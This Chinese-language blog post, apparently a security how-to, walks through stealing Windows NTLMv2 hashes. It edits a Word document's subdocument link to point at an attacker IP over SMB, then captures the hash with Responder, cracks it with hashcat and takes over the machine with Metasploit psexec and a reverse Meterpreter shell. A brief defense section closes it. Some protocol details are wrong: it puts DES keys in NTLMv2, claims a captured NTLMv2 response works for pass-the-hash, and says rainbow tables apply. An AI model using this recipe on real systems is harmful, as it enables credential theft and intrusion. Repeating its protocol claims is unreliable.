乐于分享
好东西不私藏

一份文档就能窃取你的 Windows 密码?揭秘 NTLMv2-SSP 哈希拦截攻击

一份文档就能窃取你的 Windows 密码?揭秘 NTLMv2-SSP 哈希拦截攻击

一份文档就能窃取你的 Windows 密码?揭秘 NTLMv2-SSP 哈希拦截攻击

一份文档就能窃取你的 Windows 密码?揭秘 NTLMv2-SSP 哈希拦截攻击

你以为只是打开一个普通的 Word 文档?黑客可能已经拿到了你的登录凭证。

从一次看似无害的文档打开说起

黑客利用 MS Office 文档作为恶意载荷载体早已不是新鲜事。但大多数人都知道要警惕宏病毒、要防范可疑的附件,却很少有人意识到——即使是一个没有任何宏的纯文本 Word 文档,也可能成为窃取你 Windows 登录凭证的陷阱。

今天我们要聊的,是一种几乎零痕迹的攻击方式。受害者只需要打开一个 .docx 文件,攻击者就能在后台悄悄获取他的用户名、域名,以及最关键的 NTLMv2-SSP 哈希值。整个过程不需要任何用户交互,不会触发任何安全警告,甚至连杀毒软件都难以检测。

SMB 协议:被忽视的安全盲区

要理解这场攻击,我们得先从 SMB 协议说起。

SMB(Server Message Block)是一个诞生于 1983 年的网络协议,主要用于在局域网内共享文件、打印机等资源。当你访问同事电脑上的共享文件夹时,背后就是 SMB 在工作。这个协议在 Windows 2000 之后发生了重大变革,开始使用 445 端口,并逐渐演变成我们今天熟悉的样子。

目前主流的 SMB 版本有三个,它们之间的差异主要体现在命令集、缓存机制带来的性能提升,以及不断修补的安全漏洞上。微软还在持续为 SMB 添加新功能,比如断线恢复这样的便利特性。

对于本文讨论的攻击场景,我们需要关注的是 SMBv2 的两种访问控制方式:

共享级访问控制需要用户提供正确的用户名和密码,验证通过后即可访问共享资源上的所有数据。

用户级访问控制同样基于用户名和密码,但系统管理员可以精确指定哪些用户或组有权访问特定资源。

无论哪种方式,底层的认证机制都是 NTLMv2——这正是攻击者要利用的关键环节。

NTLMv2 认证:看似坚固,实则可破

NTLMv2 协议诞生于 Windows NT 4.0 SP4 时代,历经二十多年演变,至今仍在 Windows 10 中广泛使用。它采用的 NTLMv2 握手机制被认为比老旧的 LM 和 NTLM v1 更安全。

整个认证流程是这样的:

当用户打开包含网络共享链接的文档时,客户端会向服务器发送内容获取请求,同时带上用户名和域名信息。服务器收到后启动”挑战 – 响应”认证流程。

服务器首先生成一个一次性随机数(server nonce)发送给客户端。客户端收到后,生成另一个随机数(client nonce)和时间戳,打包成新的请求发回服务器。

这两个随机数在服务器端合并成会话密钥(session nonce),然后通过 HMAC-MD5 或 HMAC-SHA-256 算法计算会话哈希。

客户端这边,使用用户密码的 NT 哈希经过填充、分割后生成三个 DES 密钥,用它们加密会话哈希,形成最终的 NTLMv2 响应发送给服务器。

服务器将 NTLMv2 响应与自己的挑战值合并,再次计算哈希。

最后,域控制器收到加密的 NTLMv2 响应和挑战值,从数据库中取出用户的 NT 哈希进行解密验证。如果成功,就返回认证成功消息。

对于密码破解者来说,NTLM 哈希空间高达 2 的 128 次方。在一台配备 Core i7 和 GTX1080 的机器上,暴力破解速度约为每秒 7 亿次尝试。而使用彩虹表查询,速度可以提升到每秒 10 万亿次。

Pass the Hash 攻击:不破解也能登录

Pass the Hash 攻击的核心思想,是诱使目标计算机向攻击者控制的服务器发送包含当前用户哈希凭证的网络请求。

本文讨论的攻击方式,利用的是 Office Open XML 格式文档中嵌入网络共享链接的技巧。当受害者打开文档时,系统会自动尝试通过 SMB 进行认证,发送包含加密 NTLM 哈希的标准请求。

需要注意的是,这种攻击仅在目标使用 SMB-NTLM 认证时有效。如果企业网络已迁移到 Kerberos 认证体系,由于引入了中间服务器,这种哈希拦截方式就不再奏效。

攻击准备:四样东西就够了

实施这场攻击需要的条件出奇地简单:

  • 一台 Linux 机器(渗透测试的标准配置)
  • Microsoft Word 2007 或更高版本
  • 基本的技术操作能力
  • 目标计算机(或测试环境)

测试环境配置如下:

  • Ubuntu Server 16.04 作为攻击机
  • Windows 7 Ultimate 作为目标机
  • MS Office 2010 标准版

同样的攻击在 Windows Server 2012 R2 上也验证成功。

制作恶意文档:三步完成

GitHub 上有一个名为 Subdoc Injector 的工具可以一键生成恶意文档。但真正理解原理比使用工具更重要。

第一步:创建两个文档

新建两个 .doc 文件,分别命名为 doc1 和 doc2。在 doc1 中输入任意文本,保存关闭。然后打开 doc2。

第二步:插入子文档

在 Word 2007 中,点击”插入”选项卡,选择”对象 → 对象”。

插入子文档

在弹出的窗口中选择”从文件创建”标签,浏览选择 doc1 文件。关键步骤:务必勾选”链接到文件”选项。

此时 doc2 中会显示来自 doc1 的文本内容。保存并关闭文档。

第三步:修改内部链接

Office Open XML 格式本质上是 ZIP 压缩包。用 WinRAR 或其他解压工具打开 doc2 文件,进入 word_rels 目录,找到 .rels 文件。

解压后用记事本打开这个文件,找到指向 doc1 的链接。

修改链接

将这行链接修改为:Target="///攻击者 IP 地址"

保存文件,重新压缩回 doc2 中替换原文件。至此,恶意文档制作完成。

设置哈希拦截器:Responder

在 Linux 攻击机上,首先需要安装 Responder 工具。这个工具可以监听多种网络协议,自动提取认证请求中的凭证信息。

git clone https://github.com/SpiderLabs/Responder

进入 Responder 目录,用编辑器打开 Responder.conf 配置文件,确保 SMB 服务已启用。

查看攻击机的 IP 地址后,以 root 权限启动 Responder:

sudo ./Responder -I eth0

-I 参数后面跟的是监听网络接口的名称。

启动 Responder

确认输出中 smb server 状态为 ON,拦截器就准备好了。

收获时刻:凭证到手

将制作好的 doc2 文件发送到目标计算机。当受害者双击打开时,文档会正常显示内容,不会有任何安全警告。用户看到的只是来自 doc1 的普通文本,最多觉得这种文本插入方式有点奇怪。

但在攻击者这边,Responder 已经捕获到了关键信息。

捕获的凭证

日志中清晰显示了:

  • 用户名(明文)
  • 域名(明文)
  • NTLMv2-SSP 哈希值
  • 目标 IP 地址

这些信息保存在 Responder/logs 目录下,文件名格式为 SMB-NTLMv2-SSP-IP.txt。

破解哈希:HashCat 登场

获取哈希后,下一步是破解出原始密码。对于短密码或非字典单词,暴力破解是可行的;对于复杂密码,建议使用彩虹表或字典攻击。

首先将日志文件从攻击机导出,可以使用 SSH 或 WinSCP。

使用 HashCat 进行破解:

hashcat -m 5600 [NTLMv2 哈希] -a 3 -status -o [输出文件]

-m 5600 指定 NTLMv2 哈希类型,-a 3 表示暴力破解模式,-status 显示实时进度。

HashCat 运行

程序会根据输入的哈希自动选择合适的破解掩码。

替代方案:Metasploit 直接利用

如果不想等待破解过程,Metasploit Framework 提供了更直接的利用方式。

启动 Metasploit 后选择 PsExec 漏洞利用模块:

use exploit/windows/smb/psexec

设置载荷:

set payload windows/meterpreter/reverse_tcp

查看需要配置的参数:

Metasploit 参数

需要设置的关键参数:

  • RHOST:目标计算机 IP
  • SMBPass:密码或其哈希值
  • SMBUser:从拦截数据中获取的用户名
  • LHOST:攻击机 IP

执行漏洞利用,获取 Meterpreter 会话,完成渗透。

如何防御这类攻击

最有效的防护方式是关闭不必要的 SMB 服务。但这会牺牲大量网络共享功能,需要权衡利弊。

迁移到 Kerberos 认证体系也能有效防御此类攻击,因为 Kerberos 的挑战 – 响应机制与 NTLM 完全不同。

对于普通用户,建议:

  • 不要随意打开来源不明的 Office 文档
  • 在企业网络中禁用 SMBv1,限制 SMBv2 的使用范围
  • 使用强密码,增加哈希破解难度
  • 部署网络监控,检测异常的 SMB 连接请求

令人担忧的现实

测试过程中,尝试了各种 Word 安全设置来阻止子文档的外部链接调用——包括禁用编辑、阻止不受信任的文档等——但都未能成功。

任何能够解析 Office Open XML 格式的程序,在打开这类文档时都可能触发 SMB 连接请求,导致凭证泄露。

更令人担忧的是,这种攻击方式至今未被主流安全厂商标记为威胁。在撰写本文时,这类文件不会被任何杀毒软件识别为恶意文件。

微软方面也没有计划修复这个问题。这意味着,一个只需三次点击就能完成的凭证窃取攻击,在可预见的未来仍将持续有效。

标签:

  • 渗透测试
  • NTLMv2
  • 哈希破解
  • SMB 协议
  • Office 安全
  • 凭证窃取
  • Responder
  • HashCat
  • Windows 安全
  • 红队技术
END
开源情报
扫码关注
了解更多